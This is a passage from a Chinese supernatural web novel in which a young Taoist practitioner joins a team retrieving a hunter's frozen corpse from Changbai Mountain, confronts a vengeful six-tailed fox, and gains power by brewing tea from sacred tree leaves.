看到了我的本事,黎雅他爹直接拿出五十万给我,还跟我认了错,说他有眼无珠。但我不在乎,而我也不推脱,给我多少我要多少。
因为我心里很清楚,我的本事值这么多钱。
再然后,我听说黎家人发狠,把王麟的父母,连同那个降头师连夜送去了麻国北,至于结果怎么样,我并不清楚。
而我又在帝都待了几天,去了几趟古玩市场,花了十五万淘了个小玩意,然后就回东北了。
这次,我碰到了真玩意,狐黄白柳灰的狐,那是索命狐。
……
第三十四章气死人的陆小旺
事情还要从我回老家说起,当时我在帝都不是花了十五万淘了点东西嘛,那是一盒子的金叶子,类似柳叶,纯金的,总共三十九片,总重量不足百克。
当时的金价一百三左右一克,按照这个比例算,也就万把块,而我花了十五万,在旁人看来属实是有点冤大头了。
然而事实是我在这些金叶子上感受到了一股非常纯粹的灵力,买了下来,想要把这些灵力给吸收掉增强我自身的道力。
结果一个多月过去,我没有吸收到里面一丝的灵气,我意识到这玩意远比我想象中的更加不同凡响。
我想到了陆小旺,觉得她见多识广,或许能了解这叶子,然后我给她家打了电话,约好去了齐市。
见到陆小旺的时候,她正给新娘子化妆呢,我愣了愣,没想到她真是化妆师。但想到她给三婶缝尸的场景,再看那新娘子的笑容,我真的是有点不适应。
陆小旺也看出了我的反应,瞪了我一眼,弄好后把我拉到了一旁,不等我说金叶子的事,她先冲我说道,“我听说黎家那事你给破了?拿了五十万?”
看着陆小旺那财迷的模样,我点了点头,“嗯。”
陆小旺一脸的羡慕,“早知道你能降服降头师,我就跟你组队了。还能借着黎家的名头出名,我难受。”
闻言,我疑惑,“难受?你病了吗?”
结果陆小旺撇了撇嘴,但随后却眼前一亮,“我这有个活,你帮我呗。事成之后,我保证给你不小于三万。”
我想了想说道,“那倒不用了,钱我暂时不太需要。到时候你帮我看看金叶子的来路就行。”
陆小旺摊了摊手,“我就喜欢你这种视金钱如粪土的人。”
给新娘化完妆,也就没陆小旺什么事了。我看她从司仪那拿了五十块,跟着就拉我走了。
我心想,这娘们还真缺钱呢,连五十块都赚。但实际上我还没遇到黎雅之前,我还在山上养猪呢,一个月也才五十块。
事实证明,人有了钱,心态就会发生变化,包括我在内。
路上,我把金叶子给陆小旺看,她一开始还调侃我,说我真是有钱人,花十五万买金子。但随后,她突然就停住了,神色古怪地盯着我。
“有说法?”我问。
“这真是你在帝都古玩市场淘的?”她没直接回我,反而问我。
“是。”我点头。
“冯宁,我真怀疑你到底是不是修道的。你说你连降头师都能降服,但对咱们自家的道统怎么一点都不懂呢。这玩意,但凡是东北的道统都认识吧。”陆小旺撇了撇我,看我那眼神越来越古怪。
我被说得有点不好意思,但我也不能说我刚入行没几个月吧?我装作不耐烦的样子说道,“快点说吧,墨迹呢。”
陆小旺也不生气,把那金叶子举高,我也顺势看了过去,也不知道是不是阳光的原因,我竟然在那金叶子的四周看到了一股淡绿色的气息流转。
我惊讶呢,陆小旺突然说道,“这不是什么金子,而是长白山神树的叶子。”
“神树?那它有什么用?”我心中掀起波澜,对于这种神秘的东西,非常的向往。
“不知道。”结果,陆小旺给我泼了一盆子冷水。
“艹。”我真没忍住,你知道嘛,当你对一件事非常好奇,非常期待,结果这件事没了下文,那感觉跟吃了苍蝇一样难受。
“我认识它,但不代表我知道啊。不过,我想我爷爷应该知道。”陆小旺又给了我希望。
“那我们现在去见你爷爷。”我急忙道。
“我爷死了。”陆小旺真诚道。
“卧槽啊!”真的,但凡陆小旺不是个女的,我保证一巴掌抽下去,这都有点忍不住了。
“你别激动啊,我爷爷虽然死了,但他留了不少笔记,里面肯定有你要的东西。”陆小果真诚地看着我。
我深吸一口气,死死的盯着陆小果,等着她说下文,结果这女人却把话说完了。
这是我第一次有想抽女人屁股的冲动,这娘们太特么气人了。好在有了方向,也算是个好结果。
陆小旺爷爷家不在齐市,听那意思坐车也要五六个小时,而且她现在有活,暂时走不开。
来都来了,我肯定要把神树叶子的事弄清楚,然后在她的一顿思想灌输下,我成了她找来的队友。
直到见到雇主,我才知道为啥让我当这个队友,原因嘛,能多要几个钱。
而她不止我一个队友,另外还有五个人,三男两女,看得出来,他们很熟悉,很默契,应该也是这圈子内的。
雇主是齐市的一个私企大老板,在当地很有说话权,出手很大方,每人三万,要求是把他爹的尸体从长白山带回来。
我很疑惑,她这活?能缺钱?
然而,我还是把事情想简单,这就不是个运尸的活,按照后来的术语来讲,叫做背尸匠,从地府手里抢尸。
算上我,总共七个人。他们不知道从哪弄了两台军绿大吉普,然后带上各自的家伙,连夜开往长白山。
我跟陆小旺一台车,她是司机,另外五个人一台车,开的是头车,我们跟在后面。上路的时候,陆小旺换上了那身黑衣。
她说,“那大老板姓戴,名叫戴伟,在我们当地做五金的,财力雄厚。死的是他爹,是长白山脚下土生土长的猎户。前阵子大雪封山,他爹又上去狩猎,结果陷到了雪里,活活冻死了,成了半截人。”
我疑惑,“什么叫半截人。”
陆小旺看了我一眼,她对我的无知,似乎已经见怪不怪了,“半截人,就是半个身子陷入雪里死的人。这种死法很诡异,除了死者,没人知道怎么死的。而之所以叫这种名字,是因为等到第二年开春回暖,尸体从腹部往下,随着雪都化没了。而这种死法的人,是一种诅咒,后辈没有好下场。有一种不好的说法叫做,断子绝孙。”
我又问,“你想我帮你破事?”
陆小旺点头,“嗯,带上你我心里踏实。具体的情况我也不清楚,但这种事一旦找到我们这些人,肯定没那么简单。”
她深吸一口气,又说道,“我做了调查,戴老板已经找了五批人进去了,结果就是有死的,有疯的,还有人直接吓得跑去了南方。我猜测,那老爷子肯定得罪了什么东西了。据我所知,那老头是个神人,当年遇到山君都全身而退了。人虽然老了,但经验还在,死那,肯定有点说法。等到地方,听听其他人怎么说吧。”
……
第三十五章刚进深山就矛盾
听陆小旺这样说,我对这件事也有些入迷了。能在山君面前全身而退的人,那就不是一般人。
所谓小虎为猫,成虎斑斓,猛虎大虫,大虫之后为白额,而白额后那才是山君。能活到山君这个年纪,离神已经不远了。
那是整座山的霸主,虎啸震耳欲聋,地位在山神之上。
结果这老头却死在了山上,尸体还挪不走,这事已经开始诡异了。
也不知道过了多久,反正到长白山的时候已经是后半夜了。这边早就联系好了,我们住在了两个农户家里,直到第二天上午十点多,大家才聚在一起吃饭。
农户们负责饭菜,主食是馒头,菜的话肉类偏多。他们不上桌,但时不时地会来给我们添些汤饭。
“缝尸的,临时加人,你是不是得通知我们一声?也好有个准备,你这叫啥事。”来的时候,他们对我的出现就很不满,所以五个人挤在一起。这会,其中一个中年人直接捅破了窗户纸。
“大彪,这事是我的不对,但我保证,我朋友很有本事的。”陆小旺摘下了带着的帽子,露出了真容,她道过歉后又说道,“这件事很古怪,你们那有什么信息吗?也好有个准备。”
见她转移话题,那个叫大彪的中年人冷哼一声,倒是没有继续说话。而后一个脖子上有一颗痣的女人却不依不饶,“多了一个人,那就多了一张嘴,这钱,我们得重新算。”
接着另一个约莫四十岁的女人,手指轻轻的点了点桌子,朝着陆小旺说道,“小旺啊,如今圈子内,可不是你们陆家说的算了,已经洗牌了。我们不是倒斗的,随便在街上拉一个力工就能当挖坑的,人情是人情,钱是钱。这事能找你,那是因为你有点陆家老爷子的本事,知道不?”
看着这些人的嘴脸,说一千道一万,还是因为钱。而我本身也不是奔着钱来的,既然答应了陆小旺不收钱,我就没打算要。
看到陆小旺左右为难,倒是我站了出来,“各位,我那三万我一分不要,事成之后给大家分了。我只出力,不要钱。这样成吗?”
闻言,几个人立马眉开眼笑,那脖子有个痣的妖娆女人惊喜,“真的?”
我点头,“当然。”
陆小旺还想说些什么,但被我拦住了,他们这才步入了正题。
但几个人说的信息也都不多,他们认为老头是得罪了山神,被困在那了。所以走的一套流程就是烧香拜四方,希望山神原谅,把尸体搬走。
而倒是交流的过程中,我对这五个人的身份有了了解。
脖子上有一颗痣的妖娆女人,她是负责所有人的衣食住行,被叫做‘老鸨’。
那个四十来岁的女人,她是负责行进路线的,外号‘地图’。
那三个男的,两个是武行出身,一个叫‘戏子’,另一个叫‘大彪’,负责的都是体力活。最后那平平无奇的中年人,他是个风水师,在对内被叫做‘大哥’。
至于陆小旺嘛,她是看事的,行不行,大家都得看她的脸色。
吃过饭了,老鸨叫戏子和大彪背了不少东西,戏子背的是馒头大饼子咸菜水,还有一些冻伤药等等。大彪则是帐篷,被子,一些家伙事。
要进山了,俩车也开不进去,我们只能选择徒步跟着就进山了。
因为是山路,又是被大雪封山,我们行进的途中有些艰难。我跟陆小旺倒是还好,那个老鸨有点吃不消,时不时的就抱怨。
这弄得大家心里面都有点不舒服,其中那个大彪突然来了一句,“我好像看到了大师兄。”
大师兄,东北二人转供奉的祖师爷,大家面面相觑,还以为这家伙看错了,结果真就在前面看到了一座半米高的小庙。
在庙的两侧上面刻有字迹,上书‘庄王老祖留此行’,下书,‘五湖四海唱江洋’,横批为‘四海为家’,而里面供奉的瓷娃娃,就是二人转的老祖大师兄。
“我们走了十七公里了,地标上没提到有这个庙,谁把大师兄的庙盖在这地方?真邪了。”地图皱了皱眉头,脸色不是很好看。
“是啊,梨园的供奉,按理来说不该出现在山上,何况还是这神山,里面都是神仙,怎会接受外来庙。还有多远能见到尸体。”一路上最沉稳的大哥也说话了,他看了看远处的山,又看了看四周的情况,也陷入了沉思。
“从地图标注上来看,我们还要走十三公里左右。怎么办?拜吗?”地图看向陆小旺。
闻言,陆小旺也没说话,她负责这方面,接着在四周转了转,来了一句,“有灵,被承认了地位的神,拜。”
说完,她拿出了香,又拿出了馒头分给了大家,让他们全来拜一拜。
但给我的时候,我却拒绝了。因为我有感应,我不能拜他,我这边的老祖宗不让。
因为这事,几个人看我的眼神都变了又变,那地图正是朝我皱眉,“你不拜?”
我摇头,“不拜。”
“艹,爱几把拜不拜,到时候出了事,别尼玛地求我们救你就行。”大彪发飙了,说话死难听。再看其他人,貌似也是这种反应。
只有陆小旺知道我是修道的,虽然不理解我的行为,但替我解释,“几位,我朋友是修道的,祖先不一样。”
地图斜眼看我,冷哼一声,“修道的我见多了,但不拜四方的还真没见过。田大师牛不牛逼?在整个龙省那是响当当的吧?那上次去了蛇大仙的场子,还不是老老实实的磕头。他算个什么东西?能有二十岁?难不成比田大师还有本事?”
那大哥也说道,“年轻人,你确实有些狂了。还是拜一拜吧,八方神佛都是有灵的。这是人家地界,你最好别弄幺蛾子。”
我叹了口气,朝着大师兄看了一眼,跟我想的一样,它已经背过身了。
我要是跟他们说我拜不了,他们肯定不信。我也不解释,而是直接朝着前面走了。但在走之前,我似乎闻到了一股味道。我也说不清楚是什么味道,有点像是臭吧。
这下子可把几人惹毛了,在后面骂骂咧咧,随着大山的深入,又走了大约三四公里。前面突然躺着四具尸体,临近点看,这些尸体有的被动物啃食了一部分。
“艹,滚远点,你个异类。”大彪突然推了我一把,嘴里面骂骂咧咧的。接着他走到尸体面前查看,然后转头看向其他人,眉头紧锁,“是民间救援队,死了没多久。应该是戴老板雇来背尸的。”
……
第三十六章我们遇到东西了
大彪的话说完,大家的脸色都不是很好,感觉这事有些晦气。
倒是我,皱了皱眉头,总觉得要出事。我上前查看几具尸体的情况,这次看得比较仔细。
刀伤?而后,我在一具尸体的腹部上看到了刀伤,因为冻住了,所以那血迹还在。我急忙又去查看另一具尸体,这具尸体上也有,但刀伤在背上。
“你特么以为自己是法医啊?艹,滚一边去。”大彪对我骂骂咧咧的,上前要推我。
我皱了皱眉头,“草拟吗的,我给你脸了是吗?”
泥菩萨也有三分火气,这个大彪骂了我一路了,本来看在陆小旺的面子上我就忍了,还没完没了了。
“尼玛的,你敢骂我!”大彪突然从兜里掏出了刀子。
我没给他机会,一个箭步上去,一脚把他踹出五米远,他背着一大堆东西,突然就缩在那雪上了。
我这一脚虽然没下死手,但也不轻,很显然他被我踹疼了。
但效果上也是立竿见影,原本大家对我都是冷冰冰的态度,这一脚下去,连老鸨都震惊地盯着我。
“别动手,都是自己人。”同样是干力气活的戏子,他的话就很少,出来劝架。
“冯宁,山上别动手。大家要团结。”陆小旺也急忙走了过来。
“原来是练家子,怪不得不上香呢。哼,陆小旺,看你找的这种人,居然打队友。”倒是地图在那撇了撇嘴拱火。
“陆小旺,不是大哥说你,你这次确实有点过分了。我本来看在陆老爷子的份上带你入行,但你坏了规矩,接下来,你带着你的朋友,离我们远点。看事,我也会。”大哥这一发话,说完带头往前走,而那五个人开始孤立我们俩。
“大,大哥……”陆小旺摘下了连衣帽,她委屈得都要哭了。
我皱了皱眉头,看在陆小旺的份上,我朝着几个人喊道,“这路有问题,不能走了,再走,会死的。”
我这可不是吓唬他们,从见到这几具尸体之后,我就感觉到了异样。
闻言,几人倒是停下了脚步,其中那大哥转头看向我,“你想说什么?你要说对了,我们继续带你玩。”
看着大哥那趾高气扬的嘴脸,我心里很不爽,但眼下这种情况不是儿戏,弄不好会出人命的,我说道,“我觉得这风水有问题。你们都中招了,而且我在那几具尸体上……”
不等我把话说完,几个人一愣,那大哥突然大笑,“哈哈哈,你说风水有问题?”
地图也跟着吹捧,“你以为你谁啊?要是有问题,大哥能看不出来?”
老鸨也跟风,“我看啊,你是怕我们把你甩了,死在这长白山吧。”
然而此话一出,在场的人脸色都不是很好。那戏子突然开口,“老鸨,你怎么口无遮拦的。这是什么地方,你说的什么话。”
做他们这门生意,最忌讳的就是‘死’字,倒不是这个字不能说,而是不能这样说。
果然,随着她的话说出来,周围突然一阵寂静,那皑皑白雪中,刮起了一阵风,阴森森的。
原本趾高气扬的大哥,也是皱了皱眉头,“老鸨,少说话,我们走。”
几人刚要动身,那戏子突然说道,“大哥,大家都是一个团队的,这个时候不能内讧。这样,你们走前面,我跟他们走后面。”
闻言,大哥跟地图他们相互看了一眼,随后来了一句你爱咋滴咋滴,四个人沿着一条路继续走。
“还真是,好言难劝作死鬼。”我深吸一口气,在我眼里,他们走的不是山路,而是通往黄泉的路。
“冯宁,到底怎么回事?”陆小旺问我。
戏子跟在身后,也是盯着我,生怕错过一个字。
“你们没发现嘛,我们自从见到了大师兄,大家都开始有情绪了。”我说。
两人一愣,陆小旺点了点头,“还真是。”
戏子也承认道,“这一路上我总觉得哪里不对,但一直说不上来。就总觉得火气很大,你这么一说,好像真是这样。”
而后我又说道,“刚才我也不太确认这种想法对不对,直到看到那几具尸体,我才彻底确认了我的想法。”
戏子跟陆小旺对视了一眼,两人急忙走到了尸体面前,接着陆小旺惊恐道,“他们身上有刀伤,这是死在了自己人的手里。”
戏子也惊恐道,“情绪,对了,就是情绪。他们经历的,应该就是我们正在经历的事。大家的情绪被引动了,然后因为一些事相互残杀。对,一定是这样。怪不得,连向来只做事不说话的大哥都变得傲慢了。还带头挑事。”
我点了点头,“本来我想说的,但大彪一直搅和我,根本没机会说。还有就是,以你们的眼力,尸体上有刀伤的事,肯定一眼就能看到。但大彪却没看到。我猜测有两个原因,第一个原因,他从始至终都被情绪吊着,所以没看见。第二嘛,他可能不是人了。”
我虽然是个新手,但我观察得还算细腻。而戏子和陆小旺一看就是老手,听我这么一说,两人立马就有了反应。
戏子脸色一变,“完了,这是遇到东西了。大彪他们要出事。”
我看向两人,一路上,戏子的话不多,人很沉稳,但此刻,他看上去非常的焦急。
再看陆小旺,她脸色很红,但不是那种正常的红,像是因为情绪在涨红。
我皱了皱眉头,心中默念清心,单手结印,朝着两人喊了一声,“道”。
在那一瞬间,戏子和陆小旺立马恢复了正常。他们相互看了看,眼神清澈了。
“你做了什么?我的心一下子就静了下来。”戏子吃惊道。
倒是陆小旺,惊讶地看着我,“是清心咒吗?”
我摇头,“不是,但有着差不多的效果。你们现在感觉好多了吧?”
戏子重重地点头,“嗯,好太多了。刚才我觉得心口发闷,情绪像是要涨开了似的,但我一直忍着。这是怎么回事啊,入行这么久了,还是第一次碰到。”
我摇头,我在这些方面是小白,也是第一次经历。而且就算是刚才的我,在那一瞬间也被这种情绪给带动了,要不然我也不会动手踹大彪。
事实证明,我们应该是遇到了厉害的东西了。
……
第三十七章死的死活的活了
“是引路神,我们碰到引路神了。”陆小旺突然说道。
“啥是引路神?”我问道。
“我也不太清楚,我爷爷笔记里提到过的。说是这长白山上有引路神,它喜欢开玩笑,琢磨别人。但神的玩笑,人得拿命玩。”陆小旺说道。
对于这套说词,我并不认可,但对于她爷爷的笔记,我是越来越感兴趣了,我觉得里面有我需要的东西。
眼下也没有更好的解释,陆小旺还想着去背尸,我没意见,戏子也没意见,我们又前行了一段。
我们虽然没走那四个人走的路,但其实也就隔了七八米远,很快,就看到了几人的身影。
突然,那边有些骚乱,地图和老鸨吓得惊叫,大哥一个劲地喊,大彪,你干啥,你干啥。
结果我就看到,那大彪扔掉了包,掏出刀子对地图一顿乱捅。然后地图和大哥往山下跑,他拿着刀子追,又把老鸨捅倒在地上。
那大哥都吓哭了,看到我们三,拼命地朝我们招手,跑了过来。戏子见状想上去,我却冷冷说道,“你要是去了,我不会救你的。”
闻言,戏子腿都僵住了。眼看大哥离我们有五米左右,他突然就绊倒了,身后大彪两步追上骑在了他身上就是两刀。
大哥那双手血淋淋的,朝我这边伸了过来,“救我,救我,我知道错了,这条路有问题。”
陆小旺看了看我,又看了看戏子,她捡起了一根树枝,在大约半米出划了一条线,“冯宁是对的,我能感受到,一旦我们踏过这条线,就会进入到那种狂暴状态。这条路有问题。”
戏子没在说话,人就这样,自己的命和其他人的命,还是自己的珍贵。我看得出来他很难受,但我也没去安慰。
说句不好听的,刚才他要去救人,我都不该阻止。之所以还是那样做了,因为这人还算厚道。
大彪疯了,活活把大哥弄死了,然后他拼命地往山的另一侧跑。
戏子看着惨死的大哥,也是咽了口吐沫说道,“这也就五米吧,大彪看不到我们?”
我猜测,“他现在心智是乱的,只要不在那条路上,应该都看不到。”
说完,我下意识地朝着山下边看去,想到那里的几具尸体,我也明白了,正如我想的那样,我们重演了一遍他们经历的事。
“谢谢。”戏子突然说了一句。
我没搭茬,继续往上走。应该说是幸运吧,在天黑之前,还真就见到了戴老板他爹的尸体。跟陆小旺说的一样,人半个身子埋在了雪里冻僵了。
天已经黑了,虽然见到了尸体,但我们却不能下山。陆小旺说这会走,很容易迷路,还有就是碰到出来觅食的东西,那就惨了。
要知道这可是长白山,大型动物多了去了。好在戏子身上背的是帐篷,我们三准备挤在一起度过一个晚上。
结果到了后半夜,我突然就醒了。我看到帐篷外有影子,一条狐狸影子,它在我们四周嗅来嗅去。
我皱了皱眉头,没有吵醒他们俩,直接钻了出去。寂静的大山里,月光泄下,我看到一条火红火红的狐狸,通红的眼睛,半人高,见到我,它有些畏惧。
“是你搞的鬼吧?”我深吸一口气,这狐狸身上的味道,感觉有些熟悉。随后我就想起来了,在大师兄庙那,似乎闻到过。
它点了点头,跟着甩动尾巴,我怔了怔,竟然有六条尾巴,那尾巴毛发锃亮,非常的漂亮。
紧接着,我看到戴老板他爹尸体突然活了过来,在他前方,出现了两只火狐狸,其中一只,跟眼前的有些相似。
砰。
我仿佛听到了枪声,接着其中一个火狐狸双腿被打断了。
砰。
又一枪。
另一只火狐狸被打在了身上,血流不止。两只狐狸对视一眼,一只点了点头跑掉了,躲在了树那。
随后,我看到那只被打断双腿的火狐狸艰难地爬到了戴老板他爹面前,直接跪在了那。
我愣了愣,这狐狸的肚子圆滚滚的,怀孕了?结果,戴老板他爹举起猎枪打死了它。
很快,画面消失了,我沉默了许久,“这就是原因吗?”
它能听懂我的话,重重地点了点头。
“尸体我还是要带走的,你有什么要求可以告诉我。至于因果报应,我不管。”我搞明白了,他之所以找我,是因为拿我没办法。
但它又不甘心我把戴老板的尸体带走,所以我给它出了个条件。
最后,它点了点头,看了看帐篷,然后就消失不见了。我开始没懂它什么意思,直到第二天一大早,陆小旺说她梦到了一个狐狸庙,里面供着两个大狐狸,四个小狐狸。
我懂了,这是让我给它们一家盖庙呢。
如今其他人都没了,戏子负责背尸,他走了过去,一百七八的壮汉,却怎么也拔不起来那尸体。
见状,我笑了笑,总有人说动物们很单纯,但我却觉得不纯粹,起码这狐狸想法就很多。
我也不知道它在哪,甚至我觉得昨晚发生的事都很不真,更像是梦。但我觉得它一直在盯着我,于是我想了想,朝着左右喊了喊,“好,我答应你了,让人在山脚下给你们一家建个庙。”
我话音落下,四周突然响起了狐狸的叫声,陆小旺两人吓了一跳。
紧接着戏子惊奇道,“能背起来了,能背起来了。”
而那原本背不起来的尸体,一下子就起来了。
很快,我们下山了,这次走的是地图她们的那条路,一路上,没有任何问题,那所谓的‘引路神’也没了。
半路上,我们看到了地图她们,结果出乎意料的是老鸨没死?
她把地图的尸体当挡风石,靠着毅力活了下来。而见到我们,她当场激动的哭了出来,一个劲地给我们认错。
对此我的反应不大,戏子和陆小旺倒是接纳了她,又往下走,看到了大哥的尸体,大哥依旧是趴在那的姿势,一双眼睛死死地盯着前方,那是我们上山的路。
而在他的眼睛里除了绝望,我看到了愤怒,不甘,还有贪婪。
但这一切都结束了,我们来时候的七个人,最终活下来四个。至于那个大师兄的庙,我们是按照原路返回的,这次根本没看到。
下山之后,我们花了半天时间找人在山脚下建了个狐狸庙,里面供奉了两只大狐狸,四只小狐狸,我们还上了香,然后连夜拉着戴老板他爹的尸体回齐市。
再后来我又去过几次长白山,这六狐狸庙成了那个村的供奉,听当地人说,这庙几百年前就有了。
但我就笑了笑,因为那会我来这是为了别的事。他们哪里知道,这供奉的庙,原本是个索命狐。
当然,这是后话了。而我在回到齐市之后,等陆小旺他们分了钱,便去了他爷爷那。
这一去,真的是涨了见识,我也因此对我自己的实力,对于道统有了不小的认知。
……
第三十八章坐忘后巨大收获
尸体交到了戴老板的手里,我们四个人拿到了二十一万,但我信守承诺,一分钱没要,他们三人把这钱瓜分了。
因为要去陆小旺爷爷家,而这两台车都是戏子弄来的,为了方便,他给我们留了一辆。很快,我们来到了陆小旺的爷爷家。
这地方是个山中村,说是村子,其实就陆小旺爷爷家一户。她手里有钥匙,推门走了进去,积压的灰尘有鞋底子那么厚。
“老爷子是开书店的吗?”我一进去就被吸引了,几十平的土房子全是书。
“我爷爷爱看书,这些只是一部分,地窖里还有呢。神树的事,应该是一本笔记,我得找一找。”陆小旺说道。
我惊讶,但又很疑惑,“老爷子不会一直在山里待着吧?这些书明显是运过来的。”
陆小旺看了我一眼,“哈城知道吧?”
我点头,“当然知道,我们龙省省会。”
她低头一边翻着笔记一边说,“原本我们家在哈城,我爷爷是当地有名的神算子。但在八零年左右‘五讲四美’,四美之一就是打击封建迷信,我爷爷因为给人算命被教育了。没多久,他就搬到了深山里,到死都没走出去。”
闻言,我没有接话茬,而是拿起了书看了起来。这是一本气象书,里面写的是有关气象和地脉的关联。我越看越入迷,忍不住惊叹了,这不就是风水吗?
随后,我又拿起了一本,这本是讲人类起源的,书中认为人是过度的生灵,什么叫过度,就是阶段性的生物,会随着死而生,生而死。里面还举了例子,意思是世界上每隔两百年,就会出现长相相同的人,这就叫过度生灵。
说实话,我在看这些东西的时候觉得头皮有些发麻,我忍不住看了看扉页,这玩意跟人类起源有关系吗?
之后我又看了几本书,按照我的思想而言,全都是挂羊头卖狗肉,书名与书里面的内容可以说毫无关联。这些书,根本就不正常,写的都是有关道家佛家的东西。
然而对我而言,却是找到宝贝了,不等陆小旺找到笔记,我已经一本本地读了起来。
以至于等到再次听到陆小旺的话,我竟然把整个屋子的书都读完了,而且过目不忘。
“喂,你真听不到我说话吗?”等我再次见到陆小旺的时候,天已经黑了,她用一种怪异的眼神盯着我。
“啊……天黑了啊。”我惊奇。
“什么天黑了,你难道没知觉吗?这已经过去快一个月了。”陆小旺不可思议。
“什么?快过年了?”我蹭的一下站了起来,我没有怀疑陆小旺的话,因为我心里清楚她说的是真的。而我之所以反应这么大,是因为我似乎离开家里很久了。
陆小旺目瞪口呆,随后又说道,“你这个人,还真是奇奇怪怪的。我第一次见到有人能连续一个月废寝忘食地读书,你比我爷爷都厉害。要不是每次我给你送东西你都吃了,我都怀疑你是不是人。”
闻言,我的内心又平静了下来,陆老爷子的书,真的是非比寻常,如今我的知识储备量,达到了一种前所未有的高度。
之前好多不懂的东西,如今已经茅塞顿开了。我之所以会痴迷读书,感受不到外界的变化,这叫坐忘,是一种养生修行的方式。
而坐忘是沉浸的,专注的,通过这种方式,我因此才能过目不忘,在一个月里把老爷子所有的书看完。
“你找到有关神树叶事了嘛?”陆小旺问我。
“找到了,长白山的老神树,叶子金黄如黄金,以水引灵,延年益寿,焕发春意。”我点了点头,同样有些感激看了陆小旺一眼,说真的,我也是才发现,这个姑娘心思真的是非常单纯。
在我坐忘的这一个月来,她天天往返镇子和山村,给我带吃的。
这些我都是‘看’在眼里的。
有关神树的事,老爷子的笔记寥寥几句带走了,我想他应该也不清楚。但是神树叶子的用法倒是写得很清楚,这玩意用水泡就行。
“什么意思?”陆小旺疑惑。
“就是泡茶。有水吗?”我笑着说道。
“神树叶泡茶?会不会太奢侈了?”陆小旺虽然这样说,但身体却很诚实,山上有井水,她早就打好了,放在炉子上烧水就行。
“只要是用了,那就不浪费。”说实话,这次的坐忘,让我整个人越发沉稳了。要是再去长白山,再碰到大师兄那种事,我绝不会出手打大彪。
因为我可能会直接弄死他,原因嘛,那会的他已经不是人了。
老爷子的笔记上有写,山中有狐,狐六尾成妖,妖者,善利用磁场,引人欲望,所作所为,皆心中所想。
说白了,那彪子之所以会动手杀人,其实他就有那种想法。我猜测,应该是想独吞那笔钱。至于事实是什么,那就只有他自己知道了。但有一点肯定,他想过杀人。
而狐中还有七尾八尾九尾,甚至还有十尾,十一尾。尾巴越高,它的妖力越强。而据老爷子笔记上写,他见过十二尾,那东西已经不是妖了,而是得道的仙。说是能化人形,男人看了她根本没有抵抗力。
但对于笔记的事,毕竟我不是本人,我只能将信将疑,对我而言,这笔记就是个参照物,需要我自己去发现。
神树茶泡好了,我喝了一口,口感甘甜,一股灵气直接没入了我体内,我的道力直接得到了增长?
我惊叹了,忍不住又多喝了两口,是真的,刚才那感觉没有错,我的道力在飞速地成长,起码是之前的两倍。
“热,好热。”我这边还在感叹呢,陆小旺那边已经脱了。她面色潮红,双眼迷离,最后整个人竟然脱光了。
我深吸一口气,狠狠地咽了口吐沫,这娘们怎么了?
但该说不说,陆小旺长得确实好看,端正的五官,很淑女的形象。
“你,你没事吧。”我俩相处了一段时间,陆小旺的善良我都看在眼里,我低着头,尽量不去看。
但我年纪在这呢,正是血气方刚的年纪,而且又经历过那种事,还是会瞟两眼的。
我这一抬头,整个人突然都愣住了。
……
第三十九章好像是皮子上身
陆小旺背对着我,她的背上一条条深可见骨的伤疤,很难想象这些伤疤会出现在一个年轻漂亮的姑娘身上。
然而,这还不足以让我惊讶,真正让我愣住的是在她头上,我看到了一个盘坐在莲花上老头。这老头闭着眼,浑身泛起金光,有种说不出的慈祥。
“这是佛?”我惊叹。
但接着,我看到了陆小旺背后的伤疤,以肉眼可见的速度消失。随后,这老头不见了,她也晕了过去。
我急忙上前查探,陆小旺呼吸均匀,没什么大碍。我看了一眼那神树叶子的茶水,猜测应该是茶水的缘故,但来不及多想,我赶忙给她穿上衣服,随后又坐在那喝茶,等着她醒过来。
这一等就是一个晚上,我也喝了一晚上的神树叶茶。而也因此,对于这神树叶有了更新的了解。随着泡茶喝下去,神树叶里面的灵气越来越少,等到那灵气消散,茶叶会变得苦涩,叶子也会变成柳叶那种绿色。
而我又泡了两片叶子,这次吸收灵气的速度慢了,整个一宿,才把两片叶子吸收完。因此我猜测,或许跟我的实力有关系。我应该是到了老爷子笔记里说的那个瓶颈了,需要突破到下一个阶段,才能获取更多的灵力。
当时这是猜测,而没多久,这件事就得到了印证。我突破了,按照记载说的那样,应该是筑基成功。而那也是我碰到的第一个雷劫。
陆小旺醒了,她的身体上也有了很大的变化,皮肤光泽了,人也精神了。而老爷子的书跟笔记我都读完了,没有继续在留下来的道理,然后我们回了齐市,从那边我回了黑城。
临走的时候,戏子和老鸨也来送我了,老鸨说戴老板五天前死了,暴毙死的。
而就在前天,戴老板的儿子,女儿,也都死了。她老婆接受不了这事直接疯了,听说人被送到了黑城那边精神病院。
说实话,这事挺唐突的。
戏子又接过了话茬,说是戴老板家出事当天,有人在灵堂看到了一只狐狸,个头非常大,半人多高,火红火红的,尾巴足足有七条。
闻言,我倒是明白了什么。
在我回到家的时候,我爹我娘都很高兴,我娘更是一把就把我抱住了,泪眼婆娑地问我这段时间都干嘛去了,担心我出事。
感受到爹娘的真心实意,我这心里面也暖暖的。但我对于感情上有点淡薄,感动了一下,之后又变得很冷淡。
我离家的这段时间,大哥店铺的生意火爆,光修摩托车,一个月就赚了一万多。而他得知我说倒卖二手摩托,也跟着做了,又多赚了五千多,一下子小两万。
当然,这可不是净利润,抛出去租房人工开销什么的,净赚一万上下吧。
但这在当时,也是一笔巨款,全家人都替大哥他们高兴。
有人欢喜有人愁,大哥家赚钱了,大姐二哥他们都眼红了,全都跑家里来了,而他们也知道我最近有点邪门,不敢找我麻烦,全都指责我爹我娘偏心。
说实话,我大姐他们找吧也就找了,毕竟她没拿到钱。这年月的观念就是嫁出去的女儿泼出去的水,虽然她来也不合理,毕竟已经嫁人了。但比我那二哥,倒是也勉强说得过去。
也是这时候家里才知道,我二哥从家里面分走的钱已经花完了。按照老家的说法,那就是裤衩子都赔没了,二嫂跟他闹离婚呢。
正巧,家里突然来了人,王远。他说是年前走动,来送送礼,实际上就是来找我的。
要是放在之前,我都懒得见他。但家里面吵得有些过分了,本着眼不见心不烦的想法,跟他出去走了一圈。
“王叔,有什么事你就直说吧。”出于礼貌,我还是得管他叫叔,但实际上我一点也没客气。
“冯宁,那叔就不跟你客气了,我还真有事,想请你帮帮忙,事成之后,五万。”王远试探道。
我没急着答应,而是随口问道,“王叔,你家里的那些文献资料都是哪来的?”
王远愣了一下,应该是没想到我会这样问,但随后笑呵呵地敷衍,“大侄子,我不是印刷厂的主任嘛,所以接触这些东西比较多,看到谁有,顺便就要了一份。”
我‘哦’了一声,这才说道,“那王叔这次是啥事?”
